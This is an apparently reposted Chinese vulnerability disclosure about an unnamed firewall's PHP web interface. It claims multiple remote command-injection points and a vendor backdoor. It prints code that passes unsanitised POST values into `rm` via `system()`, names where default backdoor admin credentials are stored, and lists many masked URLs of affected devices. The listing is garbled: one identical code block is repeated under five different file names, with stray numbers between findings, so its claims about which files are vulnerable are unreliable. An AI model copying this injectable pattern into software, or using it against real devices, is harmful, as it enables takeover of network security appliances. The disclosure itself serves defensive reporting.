$IG_error_msg=$IG_str." 已在访问控制中应用,不能被删除!";
$flag=false;
}
if ($flag == true){
$IG_rulinfo=locaterecord($IG_appaccessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在应用控制中应用,不能被删除!";
$flag=false;
}
}

// 删除文件
if($flag)
{
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);
$IG_cmd="sync > /dev/null";
system($cmd);

4

其中$IG_tunnelname = $IG_tunnelname=$_GET['IG_tunnelname']; 直接执行命令

第五出:/src/application/vpn/tab/tab_show_c-to-s_status.php

code 区域
<?php  
require("../../lib/public.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<?php
$_GET["IG_dir"]="/etc/infogate/tmpconf/"; // 配置文件根目录
$_GET["IG_promptfile"]=""; // 语言配置文件
$_GET["IG_pagenum"]=2; // 每页条数
$_GET["IG_dir"]="/etc/infogate/firewall/time/";

if(!file_exists($_GET["IG_dir"])){
$cmd="目录不存在!";
showmsg($cmd);
}


$d = dir($_GET["IG_dir"]);

$_GET["IG_pagenum"]=15;
$IG_COUNT_TIME_NAME=0;

while (false !== ($entry = $d->read())) {

if( preg_match("/(^/.$)|(^/./.$)/",$entry) ){
continue;
}

$IG_TIME_FILENAME[$IG_COUNT_TIME_NAME]=$entry;
$IG_COUNT_TIME_NAME ++;
}

if(!isset($IG_pageno))
$IG_pageno=0;

for ($i=($IG_pageno*$_GET["IG_pagenum"]); $i<($IG_pageno*$_GET["IG_pagenum"] + $_GET["IG_pagenum"]); $i++){
$lines=file($_GET["IG_dir"]."/".$IG_TIME_FILENAME[$i]);
foreach ($lines as $line_num => $line) {

$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);

if(($ZR_TIME_ARRAY[1]=trim($ZR_TIME_ARRAY[1]))=="default")
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]="";
else
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]=$ZR_TIME_ARRAY[1];

}

}

$d->close();

if ($REQUEST_METHOD== "POST"){

$IG_pageno=1;
$IG_operation=trim($_POST['IG_operation']);

if($IG_operation == "IG_delete"){
// 防火墙规则文件
$IG_accessfile="/etc/infogate/firewall/access.conf";
$IG_appaccessfile="/etc/infogate/firewall/appaccess.conf";
// 时间段是否已在防火墙中使用
$flag_norepeat=true;
$IG_error_msg="";

for($i=0; $i<=$_GET["IG_pagenum"]; $i++){
$flag=true;
$IG_str=trim($_POST['IG_checkbox'.$i]);

if ($IG_str != ""){
// 在防火墙规则配置文件中找此时间配置,如果存在,则不能删除
$IG_error_msg="";
$IG_rulinfo=locaterecord($IG_accessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在访问控制中应用,不能被删除!";
$flag=false;
}
if ($flag == true){
$IG_rulinfo=locaterecord($IG_appaccessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在应用控制中应用,不能被删除!";
$flag=false;
}
}

// 删除文件
if($flag)
{
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);
$IG_cmd="sync > /dev/null";
system($cmd);

5

第6处:src/application/firewall/getadress.php

code 区域
<?php  
require("../../lib/public.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<?php
$_GET["IG_dir"]="/etc/infogate/tmpconf/"; // 配置文件根目录
$_GET["IG_promptfile"]=""; // 语言配置文件
$_GET["IG_pagenum"]=2; // 每页条数
$_GET["IG_dir"]="/etc/infogate/firewall/time/";

if(!file_exists($_GET["IG_dir"])){
$cmd="目录不存在!";
showmsg($cmd);
}


$d = dir($_GET["IG_dir"]);

$_GET["IG_pagenum"]=15;
$IG_COUNT_TIME_NAME=0;

while (false !== ($entry = $d->read())) {

if( preg_match("/(^/.$)|(^/./.$)/",$entry) ){
continue;
}

$IG_TIME_FILENAME[$IG_COUNT_TIME_NAME]=$entry;
$IG_COUNT_TIME_NAME ++;
}

if(!isset($IG_pageno))
$IG_pageno=0;

for ($i=($IG_pageno*$_GET["IG_pagenum"]); $i<($IG_pageno*$_GET["IG_pagenum"] + $_GET["IG_pagenum"]); $i++){
$lines=file($_GET["IG_dir"]."/".$IG_TIME_FILENAME[$i]);
foreach ($lines as $line_num => $line) {

$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);

if(($ZR_TIME_ARRAY[1]=trim($ZR_TIME_ARRAY[1]))=="default")
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]="";
else
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]=$ZR_TIME_ARRAY[1];

}

}

$d->close();

if ($REQUEST_METHOD== "POST"){

$IG_pageno=1;
$IG_operation=trim($_POST['IG_operation']);

if($IG_operation == "IG_delete"){
// 防火墙规则文件
$IG_accessfile="/etc/infogate/firewall/access.conf";
$IG_appaccessfile="/etc/infogate/firewall/appaccess.conf";
// 时间段是否已在防火墙中使用
$flag_norepeat=true;
$IG_error_msg="";

for($i=0; $i<=$_GET["IG_pagenum"]; $i++){
$flag=true;
$IG_str=trim($_POST['IG_checkbox'.$i]);

if ($IG_str != ""){
// 在防火墙规则配置文件中找此时间配置,如果存在,则不能删除
$IG_error_msg="";
$IG_rulinfo=locaterecord($IG_accessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在访问控制中应用,不能被删除!";
$flag=false;
}
if ($flag == true){
$IG_rulinfo=locaterecord($IG_appaccessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在应用控制中应用,不能被删除!";
$flag=false;
}
}

// 删除文件
if($flag)
{
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);
$IG_cmd="sync > /dev/null";
system($cmd);

6

第7处:/src/system/update.php

code 区域
<?php  
require("../../lib/public.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<?php
$_GET["IG_dir"]="/etc/infogate/tmpconf/"; // 配置文件根目录
$_GET["IG_promptfile"]=""; // 语言配置文件
$_GET["IG_pagenum"]=2; // 每页条数
$_GET["IG_dir"]="/etc/infogate/firewall/time/";

if(!file_exists($_GET["IG_dir"])){
$cmd="目录不存在!";
showmsg($cmd);
}


$d = dir($_GET["IG_dir"]);

$_GET["IG_pagenum"]=15;
$IG_COUNT_TIME_NAME=0;

while (false !== ($entry = $d->read())) {

if( preg_match("/(^/.$)|(^/./.$)/",$entry) ){
continue;
}

$IG_TIME_FILENAME[$IG_COUNT_TIME_NAME]=$entry;
$IG_COUNT_TIME_NAME ++;
}

if(!isset($IG_pageno))
$IG_pageno=0;

for ($i=($IG_pageno*$_GET["IG_pagenum"]); $i<($IG_pageno*$_GET["IG_pagenum"] + $_GET["IG_pagenum"]); $i++){
$lines=file($_GET["IG_dir"]."/".$IG_TIME_FILENAME[$i]);
foreach ($lines as $line_num => $line) {

$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);

if(($ZR_TIME_ARRAY[1]=trim($ZR_TIME_ARRAY[1]))=="default")
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]="";
else
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]=$ZR_TIME_ARRAY[1];

}

}

$d->close();

if ($REQUEST_METHOD== "POST"){

$IG_pageno=1;
$IG_operation=trim($_POST['IG_operation']);

if($IG_operation == "IG_delete"){
// 防火墙规则文件
$IG_accessfile="/etc/infogate/firewall/access.conf";
$IG_appaccessfile="/etc/infogate/firewall/appaccess.conf";
// 时间段是否已在防火墙中使用
$flag_norepeat=true;
$IG_error_msg="";

for($i=0; $i<=$_GET["IG_pagenum"]; $i++){
$flag=true;
$IG_str=trim($_POST['IG_checkbox'.$i]);

if ($IG_str != ""){
// 在防火墙规则配置文件中找此时间配置,如果存在,则不能删除
$IG_error_msg="";
$IG_rulinfo=locaterecord($IG_accessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在访问控制中应用,不能被删除!";
$flag=false;
}
if ($flag == true){
$IG_rulinfo=locaterecord($IG_appaccessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在应用控制中应用,不能被删除!";
$flag=false;
}
}

// 删除文件
if($flag)
{
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);
$IG_cmd="sync > /dev/null";
system($cmd);

7

第8处:

/src/application/firewall/editschedule.php

code 区域
<?php  
require("../../lib/public.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<?php
$_GET["IG_dir"]="/etc/infogate/tmpconf/"; // 配置文件根目录
$_GET["IG_promptfile"]=""; // 语言配置文件
$_GET["IG_pagenum"]=2; // 每页条数
$_GET["IG_dir"]="/etc/infogate/firewall/time/";

if(!file_exists($_GET["IG_dir"])){
$cmd="目录不存在!";
showmsg($cmd);
}


$d = dir($_GET["IG_dir"]);

$_GET["IG_pagenum"]=15;
$IG_COUNT_TIME_NAME=0;

while (false !== ($entry = $d->read())) {

if( preg_match("/(^/.$)|(^/./.$)/",$entry) ){
continue;
}

$IG_TIME_FILENAME[$IG_COUNT_TIME_NAME]=$entry;
$IG_COUNT_TIME_NAME ++;
}

if(!isset($IG_pageno))
$IG_pageno=0;

for ($i=($IG_pageno*$_GET["IG_pagenum"]); $i<($IG_pageno*$_GET["IG_pagenum"] + $_GET["IG_pagenum"]); $i++){
$lines=file($_GET["IG_dir"]."/".$IG_TIME_FILENAME[$i]);
foreach ($lines as $line_num => $line) {

$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);

if(($ZR_TIME_ARRAY[1]=trim($ZR_TIME_ARRAY[1]))=="default")
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]="";
else
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]=$ZR_TIME_ARRAY[1];

}

}

$d->close();

if ($REQUEST_METHOD== "POST"){

$IG_pageno=1;
$IG_operation=trim($_POST['IG_operation']);

if($IG_operation == "IG_delete"){
// 防火墙规则文件
$IG_accessfile="/etc/infogate/firewall/access.conf";
$IG_appaccessfile="/etc/infogate/firewall/appaccess.conf";
// 时间段是否已在防火墙中使用
$flag_norepeat=true;
$IG_error_msg="";

for($i=0; $i<=$_GET["IG_pagenum"]; $i++){
$flag=true;
$IG_str=trim($_POST['IG_checkbox'.$i]);

if ($IG_str != ""){
// 在防火墙规则配置文件中找此时间配置,如果存在,则不能删除
$IG_error_msg="";
$IG_rulinfo=locaterecord($IG_accessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在访问控制中应用,不能被删除!";
$flag=false;
}
if ($flag == true){
$IG_rulinfo=locaterecord($IG_appaccessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在应用控制中应用,不能被删除!";
$flag=false;
}
}

// 删除文件
if($flag)
{
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);
$IG_cmd="sync > /dev/null";
system($cmd);

8

第9处:

src/application/virus/sortbyname.php

code 区域
<?php  
require("../../lib/public.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<?php
$_GET["IG_dir"]="/etc/infogate/tmpconf/"; // 配置文件根目录
$_GET["IG_promptfile"]=""; // 语言配置文件
$_GET["IG_pagenum"]=2; // 每页条数
$_GET["IG_dir"]="/etc/infogate/firewall/time/";

if(!file_exists($_GET["IG_dir"])){
$cmd="目录不存在!";
showmsg($cmd);
}


$d = dir($_GET["IG_dir"]);

$_GET["IG_pagenum"]=15;
$IG_COUNT_TIME_NAME=0;

while (false !== ($entry = $d->read())) {

if( preg_match("/(^/.$)|(^/./.$)/",$entry) ){
continue;
}

$IG_TIME_FILENAME[$IG_COUNT_TIME_NAME]=$entry;
$IG_COUNT_TIME_NAME ++;
}

if(!isset($IG_pageno))
$IG_pageno=0;

for ($i=($IG_pageno*$_GET["IG_pagenum"]); $i<($IG_pageno*$_GET["IG_pagenum"] + $_GET["IG_pagenum"]); $i++){
$lines=file($_GET["IG_dir"]."/".$IG_TIME_FILENAME[$i]);
foreach ($lines as $line_num => $line) {

$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);

if(($ZR_TIME_ARRAY[1]=trim($ZR_TIME_ARRAY[1]))=="default")
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]="";
else
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]=$ZR_TIME_ARRAY[1];

}

}

$d->close();

if ($REQUEST_METHOD== "POST"){

$IG_pageno=1;
$IG_operation=trim($_POST['IG_operation']);

if($IG_operation == "IG_delete"){
// 防火墙规则文件
$IG_accessfile="/etc/infogate/firewall/access.conf";
$IG_appaccessfile="/etc/infogate/firewall/appaccess.conf";
// 时间段是否已在防火墙中使用
$flag_norepeat=true;
$IG_error_msg="";

for($i=0; $i<=$_GET["IG_pagenum"]; $i++){
$flag=true;
$IG_str=trim($_POST['IG_checkbox'.$i]);

if ($IG_str != ""){
// 在防火墙规则配置文件中找此时间配置,如果存在,则不能删除
$IG_error_msg="";
$IG_rulinfo=locaterecord($IG_accessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在访问控制中应用,不能被删除!";
$flag=false;
}
if ($flag == true){
$IG_rulinfo=locaterecord($IG_appaccessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在应用控制中应用,不能被删除!";
$flag=false;
}
}

// 删除文件
if($flag)
{
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);
$IG_cmd="sync > /dev/null";
system($cmd);

9

第10处:

src/application/virus/sortbyip.php

code 区域
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);

0

第11处 官方后门:

src/system/backdoor.php

code 区域
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);

1

默认带有的后门管理员账号和密码储存在/etc/infogate/center/defaultclient.conf文件中

漏洞标题:  某防火墙N处远程命令执行和后门页面管理(基础代码审计)

受影响的如下列表:

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

https://**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

修复方案:

版权声明:转载请注明来源 老虎皮@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 某防火墙N处远程命令执行和后门页面管理(基础代码审计)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址